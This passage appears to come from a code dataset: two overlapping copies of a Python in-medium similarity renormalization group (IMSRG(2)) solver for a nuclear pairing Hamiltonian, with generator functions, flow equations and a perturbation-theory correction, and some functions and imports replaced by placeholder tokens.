Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes = [0, 1, 2, 3]\n particles = [4, 5, 6, 7]\n bas1B = range(dim1B)\n bas2B = construct_basis_2B(holes, particles)\n basph2B = construct_basis_ph2B(holes, particles)\n idx2B = construct_index_2B(bas2B)\n idxph2B = construct_index_2B(basph2B)\n occ1B = construct_occupation_1B(bas1B, holes, particles)\n occA_2B = construct_occupationA_2B(bas2B, occ1B)\n occB_2B = construct_occupationB_2B(bas2B, occ1B)\n occC_2B = construct_occupationC_2B(bas2B, occ1B)\n occphA_2B = construct_occupationA_2B(basph2B, occ1B)\n user_data = {'dim1B': dim1B, 'holes': holes, 'particles': particles,\n 'bas1B': bas1B, 'bas2B': bas2B, 'basph2B': basph2B, 'idx2B': idx2B,\n 'idxph2B': idxph2B, 'occ1B': occ1B, 'occA_2B': occA_2B, 'occB_2B':\n occB_2B, 'occC_2B': occC_2B, 'occphA_2B': occphA_2B, 'eta_norm': \n 0.0, 'dE': 0.0, 'calc_eta': eta_white_atan, 'calc_rhs': flow_imsrg2}\n H1B, H2B = pairing_hamiltonian(delta, g, user_data)\n E, f, Gamma = normal_order(H1B, H2B, user_data)\n y0 = np.append([E], np.append(reshape(f, -1), reshape(Gamma, -1)))\n solver = ode(derivative_wrapper, jac=None)\n solver.set_integrator('vode', method='bdf', order=5, nsteps=1000)\n solver.set_f_params(user_data)\n solver.set_initial_value(y0, 0.0)\n sfinal = 50\n ds = 0.1\n print(\n '%-8s %-14s %-14s %-14s %-14s %-14s %-14s %-14s %-14s'\n % ('s', 'E', 'DE(2)', 'DE(3)', 'E+DE', 'dE/ds', '||eta||',\n '||fod||', '||Gammaod||'))\n print('-' * 148)\n while solver.successful() and solver.t < sfinal:\n ys = solver.integrate(sfinal, step=True)\n dim2B = dim1B * dim1B\n E, f, Gamma = get_operator_from_y(ys, dim1B, dim2B)\n DE2 = calc_mbpt2(f, Gamma, user_data)\n DE3 = calc_mbpt3(f, Gamma, user_data)\n norm_fod = calc_fod_norm(f, user_data)\n norm_Gammaod = calc_Gammaod_norm(Gamma, user_data)\n print(\n '%8.5f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f %14.8f'\n % (solver.t, E, DE2, DE3, E + DE2 + DE3, user_data['dE'],\n user_data['eta_norm'], norm_fod, norm_Gammaod))\n if abs(DE2 / E) < 1e-07:\n break\n return\n\n\n<code token>\n", "<import token>\n<function token>\n\n\ndef construct_basis_ph2B(holes, particles):\n basis = []\n for i in holes:\n for j in holes:\n basis.append((i, j))\n for i in holes:\n for a in particles:\n basis.append((i, a))\n for a in particles:\n for i in holes:\n basis.append((a, i))\n for a in particles:\n for b in particles:\n basis.append((a, b))\n return basis\n\n\n<function token>\n\n\ndef ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B):\n dim = len(basph2B)\n Gamma_ph = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(basph2B):\n for i2, (c, d) in enumerate(basph2B):\n Gamma_ph[i1, i2] -= Gamma[idx2B[a, d], idx2B[c, b]]\n return Gamma_ph\n\n\ndef inverse_ph_transform_2B(Gamma_ph, bas2B, idx2B, basph2B, idxph2B):\n dim = len(bas2B)\n Gamma = np.zeros((dim, dim))\n for i1, (a, b) in enumerate(bas2B):\n for i2, (c, d) in enumerate(bas2B):\n Gamma[i1, i2] -= Gamma_ph[idxph2B[a, d], idxph2B[c, b]]\n return Gamma\n\n\n<function token>\n\n\ndef calc_fod_norm(f, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n norm = 0.0\n for a in particles:\n for i in holes:\n norm += f[a, i] ** 2 + f[i, a] ** 2\n return np.sqrt(norm)\n\n\ndef calc_Gammaod_norm(Gamma, user_data):\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n norm = 0.0\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n norm += Gamma[idx2B[a, b], idx2B[i, j]] ** 2 + Gamma[\n idx2B[i, j], idx2B[a, b]] ** 2\n return np.sqrt(norm)\n\n\ndef construct_occupation_1B(bas1B, holes, particles):\n dim = len(bas1B)\n occ = np.zeros(dim)\n for i in holes:\n occ[i] = 1.0\n return occ\n\n\ndef construct_occupationA_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationB_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = 1.0 - occ1B[i] - occ1B[j]\n return occ\n\n\ndef construct_occupationC_2B(bas2B, occ1B):\n dim = len(bas2B)\n occ = np.zeros((dim, dim))\n for i1, (i, j) in enumerate(bas2B):\n occ[i1, i1] = occ1B[i] * occ1B[j]\n return occ\n\n\ndef eta_brillouin(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n eta1B[a, i] = f[a, i]\n eta1B[i, a] = -f[a, i]\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n val = Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_imtime(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n dE = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = np.sign(dE) * f[a, i]\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n dE = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = np.sign(dE) * Gamma[idx2B[a, b], idx2B[i, j]]\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_mp(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i]\n val = f[a, i] / denom\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j]\n val = Gamma[idx2B[a, b], idx2B[i, j]] / denom\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_white_atan(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n eta1B = np.zeros_like(f)\n for a in particles:\n for i in holes:\n denom = f[a, a] - f[i, i] + Gamma[idx2B[a, i], idx2B[a, i]]\n val = 0.5 * np.arctan(2 * f[a, i] / denom)\n eta1B[a, i] = val\n eta1B[i, a] = -val\n eta2B = np.zeros_like(Gamma)\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n denom = f[a, a] + f[b, b] - f[i, i] - f[j, j] + Gamma[\n idx2B[a, b], idx2B[a, b]] + Gamma[idx2B[i, j],\n idx2B[i, j]] - Gamma[idx2B[a, i], idx2B[a, i]] - Gamma[\n idx2B[a, j], idx2B[a, j]] - Gamma[idx2B[b, i],\n idx2B[b, i]] - Gamma[idx2B[b, j], idx2B[b, j]]\n val = 0.5 * np.arctan(2 * Gamma[idx2B[a, b], idx2B[i, j\n ]] / denom)\n eta2B[idx2B[a, b], idx2B[i, j]] = val\n eta2B[idx2B[i, j], idx2B[a, b]] = -val\n return eta1B, eta2B\n\n\ndef eta_wegner(f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n fd = np.zeros_like(f)\n fod = np.zeros_like(f)\n Gammad = np.zeros_like(Gamma)\n Gammaod = np.zeros_like(Gamma)\n for a in particles:\n for i in holes:\n fod[a, i] = f[a, i]\n fod[i, a] = f[i, a]\n fd = f - fod\n for a in particles:\n for b in particles:\n for i in holes:\n for j in holes:\n Gammaod[idx2B[a, b], idx2B[i, j]] = Gamma[idx2B[a, b],\n idx2B[i, j]]\n Gammaod[idx2B[i, j], idx2B[a, b]] = Gamma[idx2B[i, j],\n idx2B[a, b]]\n Gammad = Gamma - Gammaod\n eta1B = np.zeros_like(f)\n eta1B += commutator(fd, fod)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n eta1B[p, q] += fd[i, a] * Gammaod[idx2B[a, p], idx2B[i, q]\n ] - fd[a, i] * Gammaod[idx2B[i, p], idx2B[a, q]] - fod[\n i, a] * Gammad[idx2B[a, p], idx2B[i, q]] + fod[a, i\n ] * Gammad[idx2B[i, p], idx2B[a, q]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[i, p], idx2B[i, q]] -\n transpose(GammaGamma)[idx2B[i, p], idx2B[i, q]])\n GammaGamma = dot(Gammad, dot(occC_2B, Gammaod))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n eta1B[p, q] += 0.5 * (GammaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(GammaGamma)[idx2B[r, p], idx2B[r, q]])\n eta2B = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n eta2B[idx2B[p, q], idx2B[r, s]] += fd[p, t] * Gammaod[\n idx2B[t, q], idx2B[r, s]] + fd[q, t] * Gammaod[\n idx2B[p, t], idx2B[r, s]] - fd[t, r] * Gammaod[\n idx2B[p, q], idx2B[t, s]] - fd[t, s] * Gammaod[\n idx2B[p, q], idx2B[r, t]] - fod[p, t] * Gammad[\n idx2B[t, q], idx2B[r, s]] - fod[q, t] * Gammad[\n idx2B[p, t], idx2B[r, s]] + fod[t, r] * Gammad[\n idx2B[p, q], idx2B[t, s]] + fod[t, s] * Gammad[\n idx2B[p, q], idx2B[r, t]]\n GammaGamma = dot(Gammad, dot(occB_2B, Gammaod))\n eta2B += 0.5 * (GammaGamma - transpose(GammaGamma))\n Gammad_ph = ph_transform_2B(Gammad, bas2B, idx2B, basph2B, idxph2B)\n Gammaod_ph = ph_transform_2B(Gammaod, bas2B, idx2B, basph2B, idxph2B)\n GammaGamma_ph = dot(Gammad_ph, dot(occphA_2B, Gammaod_ph))\n GammaGamma = inverse_ph_transform_2B(GammaGamma_ph, bas2B, idx2B,\n basph2B, idxph2B)\n work = np.zeros_like(GammaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= GammaGamma[i1, i2] - GammaGamma[idx2B[j, i], i2\n ] - GammaGamma[i1, idx2B[l, k]] + GammaGamma[idx2B[j, i],\n idx2B[l, k]]\n GammaGamma = work\n eta2B += GammaGamma\n return eta1B, eta2B\n\n\ndef flow_imsrg2(eta1B, eta2B, f, Gamma, user_data):\n dim1B = user_data['dim1B']\n holes = user_data['holes']\n particles = user_data['particles']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n basph2B = user_data['basph2B']\n idxph2B = user_data['idxph2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n dE = 0.0\n for i in holes:\n for a in particles:\n dE += eta1B[i, a] * f[a, i] - eta1B[a, i] * f[i, a]\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n dE += 0.5 * eta2B[idx2B[i, j], idx2B[a, b]] * Gamma[\n idx2B[a, b], idx2B[i, j]]\n df = np.zeros_like(f)\n df += commutator(eta1B, f)\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n for a in particles:\n df[p, q] += eta1B[i, a] * Gamma[idx2B[a, p], idx2B[i, q]\n ] - eta1B[a, i] * Gamma[idx2B[i, p], idx2B[a, q]] - f[\n i, a] * eta2B[idx2B[a, p], idx2B[i, q]] + f[a, i\n ] * eta2B[idx2B[i, p], idx2B[a, q]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for i in holes:\n df[p, q] += 0.5 * (etaGamma[idx2B[i, p], idx2B[i, q]] +\n transpose(etaGamma)[idx2B[i, p], idx2B[i, q]])\n etaGamma = dot(eta2B, dot(occC_2B, Gamma))\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n df[p, q] += 0.5 * (etaGamma[idx2B[r, p], idx2B[r, q]] +\n transpose(etaGamma)[idx2B[r, p], idx2B[r, q]])\n dGamma = np.zeros_like(Gamma)\n for p in range(dim1B):\n for q in range(dim1B):\n for r in range(dim1B):\n for s in range(dim1B):\n for t in range(dim1B):\n dGamma[idx2B[p, q], idx2B[r, s]] += eta1B[p, t\n ] * Gamma[idx2B[t, q], idx2B[r, s]] + eta1B[q, t\n ] * Gamma[idx2B[p, t], idx2B[r, s]] - eta1B[t, r\n ] * Gamma[idx2B[p, q], idx2B[t, s]] - eta1B[t, s\n ] * Gamma[idx2B[p, q], idx2B[r, t]] - f[p, t\n ] * eta2B[idx2B[t, q], idx2B[r, s]] - f[q, t\n ] * eta2B[idx2B[p, t], idx2B[r, s]] + f[t, r\n ] * eta2B[idx2B[p, q], idx2B[t, s]] + f[t, s\n ] * eta2B[idx2B[p, q], idx2B[r, t]]\n etaGamma = dot(eta2B, dot(occB_2B, Gamma))\n dGamma += 0.5 * (etaGamma + transpose(etaGamma))\n eta2B_ph = ph_transform_2B(eta2B, bas2B, idx2B, basph2B, idxph2B)\n Gamma_ph = ph_transform_2B(Gamma, bas2B, idx2B, basph2B, idxph2B)\n etaGamma_ph = dot(eta2B_ph, dot(occphA_2B, Gamma_ph))\n etaGamma = inverse_ph_transform_2B(etaGamma_ph, bas2B, idx2B, basph2B,\n idxph2B)\n work = np.zeros_like(etaGamma)\n for i1, (i, j) in enumerate(bas2B):\n for i2, (k, l) in enumerate(bas2B):\n work[i1, i2] -= etaGamma[i1, i2] - etaGamma[idx2B[j, i], i2\n ] - etaGamma[i1, idx2B[l, k]] + etaGamma[idx2B[j, i], idx2B\n [l, k]]\n etaGamma = work\n dGamma += etaGamma\n return dE, df, dGamma\n\n\ndef get_operator_from_y(y, dim1B, dim2B):\n ptr = 0\n zero_body = y[ptr]\n ptr += 1\n one_body = reshape(y[ptr:ptr + dim1B * dim1B], (dim1B, dim1B))\n ptr += dim1B * dim1B\n two_body = reshape(y[ptr:ptr + dim2B * dim2B], (dim2B, dim2B))\n return zero_body, one_body, two_body\n\n\ndef derivative_wrapper(t, y, user_data):\n dim1B = user_data['dim1B']\n dim2B = dim1B * dim1B\n holes = user_data['holes']\n particles = user_data['particles']\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n basph2B = user_data['basph2B']\n idx2B = user_data['idx2B']\n idxph2B = user_data['idxph2B']\n occA_2B = user_data['occA_2B']\n occB_2B = user_data['occB_2B']\n occC_2B = user_data['occC_2B']\n occphA_2B = user_data['occphA_2B']\n calc_eta = user_data['calc_eta']\n calc_rhs = user_data['calc_rhs']\n E, f, Gamma = get_operator_from_y(y, dim1B, dim2B)\n eta1B, eta2B = calc_eta(f, Gamma, user_data)\n dE, df, dGamma = calc_rhs(eta1B, eta2B, f, Gamma, user_data)\n dy = np.append([dE], np.append(reshape(df, -1), reshape(dGamma, -1)))\n user_data['dE'] = dE\n user_data['eta_norm'] = np.linalg.norm(eta1B, ord='fro') + np.linalg.norm(\n eta2B, ord='fro')\n return dy\n\n\ndef pairing_hamiltonian(delta, g, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n dim = len(bas1B)\n H1B = np.zeros((dim, dim))\n for i in bas1B:\n H1B[i, i] = delta * np.floor_divide(i, 2)\n dim = len(bas2B)\n H2B = np.zeros((dim, dim))\n for i, j in bas2B:\n if i % 2 == 0 and j == i + 1:\n for k, l in bas2B:\n if k % 2 == 0 and l == k + 1:\n H2B[idx2B[i, j], idx2B[k, l]] = -0.5 * g\n H2B[idx2B[j, i], idx2B[k, l]] = 0.5 * g\n H2B[idx2B[i, j], idx2B[l, k]] = 0.5 * g\n H2B[idx2B[j, i], idx2B[l, k]] = -0.5 * g\n return H1B, H2B\n\n\ndef normal_order(H1B, H2B, user_data):\n bas1B = user_data['bas1B']\n bas2B = user_data['bas2B']\n idx2B = user_data['idx2B']\n particles = user_data['particles']\n holes = user_data['holes']\n E = 0.0\n for i in holes:\n E += H1B[i, i]\n for i in holes:\n for j in holes:\n E += 0.5 * H2B[idx2B[i, j], idx2B[i, j]]\n f = H1B\n for i in bas1B:\n for j in bas1B:\n for h in holes:\n f[i, j] += H2B[idx2B[i, h], idx2B[j, h]]\n Gamma = H2B\n return E, f, Gamma\n\n\ndef calc_mbpt2(f, Gamma, user_data):\n DE2 = 0.0\n particles = user_data['particles']\n holes = user_data['holes']\n idx2B = user_data['idx2B']\n for i in holes:\n for j in holes:\n for a in particles:\n for b in particles:\n denom = f[i, i] + f[j, j] - f[a, a] - f[b, b]\n me = Gamma[idx2B[a, b], idx2B[i, j]]\n DE2 += 0.25 * me * me / denom\n return DE2\n\n\n<function token>\n\n\ndef main():\n delta = float(argv[1])\n g = float(argv[2])\n particles = 4\n dim1B = 8\n holes 